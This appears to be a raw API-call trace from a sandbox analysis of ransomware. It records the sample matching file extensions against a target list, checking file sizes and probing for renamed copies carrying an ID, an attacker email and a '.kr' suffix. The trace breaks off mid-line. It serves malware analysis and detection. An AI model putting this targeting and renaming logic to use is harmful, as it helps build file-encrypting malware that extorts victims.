[0094.103] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.103] lstrlenW (lpString=".xlsx") returned 5 [0094.103] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.103] lstrlenW (lpString=".ppt") returned 4 [0094.103] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.103] lstrlenW (lpString=".zip") returned 4 [0094.103] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.103] lstrlenW (lpString=".rar") returned 4 [0094.103] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.103] lstrlenW (lpString=".bz2") returned 4 [0094.103] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.103] lstrlenW (lpString=".7z") returned 3 [0094.103] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.103] lstrlenW (lpString=".dbf") returned 4 [0094.103] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.103] lstrlenW (lpString=".1cd") returned 4 [0094.103] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.103] lstrlenW (lpString=".jpg") returned 4 [0094.103] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.103] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.103] lstrlenW (lpString="adovbs.inc") returned 10 [0094.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.104] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=15195) returned 1 [0094.104] CloseHandle (hObject=0x300) returned 1 [0094.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0094.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString=".doc") returned 4 [0094.105] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.105] lstrlenW (lpString=".docx") returned 5 [0094.105] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.105] lstrlenW (lpString=".pdf") returned 4 [0094.105] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.105] lstrlenW (lpString=".xls") returned 4 [0094.105] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.105] lstrlenW (lpString=".xlsx") returned 5 [0094.105] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.105] lstrlenW (lpString=".ppt") returned 4 [0094.105] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString=".zip") returned 4 [0094.105] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.105] lstrlenW (lpString=".rar") returned 4 [0094.105] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.105] lstrlenW (lpString=".bz2") returned 4 [0094.105] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.105] lstrlenW (lpString=".7z") returned 3 [0094.105] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString=".dbf") returned 4 [0094.105] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString=".1cd") returned 4 [0094.105] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.105] lstrlenW (lpString=".jpg") returned 4 [0094.105] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString=".doc") returned 4 [0094.106] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.106] lstrlenW (lpString=".docx") returned 5 [0094.106] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.106] lstrlenW (lpString=".pdf") returned 4 [0094.106] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString=".xls") returned 4 [0094.106] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString=".xlsx") returned 5 [0094.106] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.106] lstrlenW (lpString=".ppt") returned 4 [0094.106] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString=".zip") returned 4 [0094.106] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString=".rar") returned 4 [0094.106] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.106] lstrlenW (lpString=".bz2") returned 4 [0094.106] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.106] lstrlenW (lpString=".7z") returned 3 [0094.106] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString=".dbf") returned 4 [0094.106] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString=".1cd") returned 4 [0094.106] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0094.106] lstrlenW (lpString=".jpg") returned 4 [0094.106] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.107] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.107] lstrlenW (lpString="adcjavas.inc") returned 12 [0094.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.107] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=630) returned 1 [0094.107] CloseHandle (hObject=0x300) returned 1 [0094.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0094.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.108] lstrlenW (lpString=".doc") returned 4 [0094.108] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.108] lstrlenW (lpString=".docx") returned 5 [0094.108] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.108] lstrlenW (lpString=".pdf") returned 4 [0094.108] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.108] lstrlenW (lpString=".xls") returned 4 [0094.108] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.108] lstrlenW (lpString=".xlsx") returned 5 [0094.108] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.108] lstrlenW (lpString=".ppt") returned 4 [0094.108] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.108] lstrlenW (lpString=".zip") returned 4 [0094.108] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.108] lstrlenW (lpString=".rar") returned 4 [0094.108] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.108] lstrlenW (lpString=".bz2") returned 4 [0094.108] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.108] lstrlenW (lpString=".7z") returned 3 [0094.109] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString=".dbf") returned 4 [0094.109] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString=".1cd") returned 4 [0094.109] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString=".jpg") returned 4 [0094.109] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString=".doc") returned 4 [0094.109] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.109] lstrlenW (lpString=".docx") returned 5 [0094.109] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.109] lstrlenW (lpString=".pdf") returned 4 [0094.109] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString=".xls") returned 4 [0094.109] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString=".xlsx") returned 5 [0094.109] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.109] lstrlenW (lpString=".ppt") returned 4 [0094.109] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.109] lstrlenW (lpString=".zip") returned 4 [0094.109] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString=".rar") returned 4 [0094.109] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.109] lstrlenW (lpString=".bz2") returned 4 [0094.109] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.109] lstrlenW (lpString=".7z") returned 3 [0094.110] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.110] lstrlenW (lpString=".dbf") returned 4 [0094.110] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.110] lstrlenW (lpString=".1cd") returned 4 [0094.110] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0094.110] lstrlenW (lpString=".jpg") returned 4 [0094.110] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.110] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.110] lstrlenW (lpString="adcvbs.inc") returned 10 [0094.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.110] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=623) returned 1 [0094.110] CloseHandle (hObject=0x300) returned 1 [0094.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0094.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.111] lstrlenW (lpString=".doc") returned 4 [0094.112] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.112] lstrlenW (lpString=".docx") returned 5 [0094.112] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.112] lstrlenW (lpString=".pdf") returned 4 [0094.112] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.112] lstrlenW (lpString=".xls") returned 4 [0094.112] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.112] lstrlenW (lpString=".xlsx") returned 5 [0094.112] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.112] lstrlenW (lpString=".ppt") returned 4 [0094.112] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.112] lstrlenW (lpString=".zip") returned 4 [0094.112] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.112] lstrlenW (lpString=".rar") returned 4 [0094.112] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.112] lstrlenW (lpString=".bz2") returned 4 [0094.112] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.112] lstrlenW (lpString=".7z") returned 3 [0094.112] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.112] lstrlenW (lpString=".dbf") returned 4 [0094.112] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.112] lstrlenW (lpString=".1cd") returned 4 [0094.112] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.112] lstrlenW (lpString=".jpg") returned 4 [0094.112] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString=".doc") returned 4 [0094.113] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.113] lstrlenW (lpString=".docx") returned 5 [0094.113] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.113] lstrlenW (lpString=".pdf") returned 4 [0094.113] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString=".xls") returned 4 [0094.113] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString=".xlsx") returned 5 [0094.113] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.113] lstrlenW (lpString=".ppt") returned 4 [0094.113] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString=".zip") returned 4 [0094.113] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString=".rar") returned 4 [0094.113] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.113] lstrlenW (lpString=".bz2") returned 4 [0094.113] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.113] lstrlenW (lpString=".7z") returned 3 [0094.113] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString=".dbf") returned 4 [0094.113] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString=".1cd") returned 4 [0094.113] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0094.113] lstrlenW (lpString=".jpg") returned 4 [0094.113] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.114] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.114] lstrlenW (lpString="oledbjvs.inc") returned 12 [0094.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.114] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9804) returned 1 [0094.114] CloseHandle (hObject=0x300) returned 1 [0094.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0094.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.114] lstrlenW (lpString=".doc") returned 4 [0094.114] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.114] lstrlenW (lpString=".docx") returned 5 [0094.114] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.114] lstrlenW (lpString=".pdf") returned 4 [0094.115] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString=".xls") returned 4 [0094.115] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString=".xlsx") returned 5 [0094.115] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.115] lstrlenW (lpString=".ppt") returned 4 [0094.115] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString=".zip") returned 4 [0094.115] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString=".rar") returned 4 [0094.115] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString=".bz2") returned 4 [0094.115] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.115] lstrlenW (lpString=".7z") returned 3 [0094.115] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString=".dbf") returned 4 [0094.115] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString=".1cd") returned 4 [0094.115] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString=".jpg") returned 4 [0094.115] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.115] lstrlenW (lpString=".doc") returned 4 [0094.115] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.115] lstrlenW (lpString=".docx") returned 5 [0094.115] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.116] lstrlenW (lpString=".pdf") returned 4 [0094.116] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.116] lstrlenW (lpString=".xls") returned 4 [0094.116] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.116] lstrlenW (lpString=".xlsx") returned 5 [0094.116] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.116] lstrlenW (lpString=".ppt") returned 4 [0094.116] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.116] lstrlenW (lpString=".zip") returned 4 [0094.116] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.116] lstrlenW (lpString=".rar") returned 4 [0094.116] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.116] lstrlenW (lpString=".bz2") returned 4 [0094.116] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.116] lstrlenW (lpString=".7z") returned 3 [0094.116] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.116] lstrlenW (lpString=".dbf") returned 4 [0094.116] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.116] lstrlenW (lpString=".1cd") returned 4 [0094.116] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0094.116] lstrlenW (lpString=".jpg") returned 4 [0094.116] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.116] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.116] lstrlenW (lpString="oledbvbs.inc") returned 12 [0094.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.117] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9975) returned 1 [0094.117] CloseHandle (hObject=0x300) returned 1 [0094.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0094.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.121] lstrlenW (lpString=".doc") returned 4 [0094.121] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.121] lstrlenW (lpString=".docx") returned 5 [0094.121] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.121] lstrlenW (lpString=".pdf") returned 4 [0094.121] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.121] lstrlenW (lpString=".xls") returned 4 [0094.121] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.121] lstrlenW (lpString=".xlsx") returned 5 [0094.122] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.122] lstrlenW (lpString=".ppt") returned 4 [0094.122] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString=".zip") returned 4 [0094.122] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.122] lstrlenW (lpString=".rar") returned 4 [0094.122] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.122] lstrlenW (lpString=".bz2") returned 4 [0094.122] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.122] lstrlenW (lpString=".7z") returned 3 [0094.122] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common 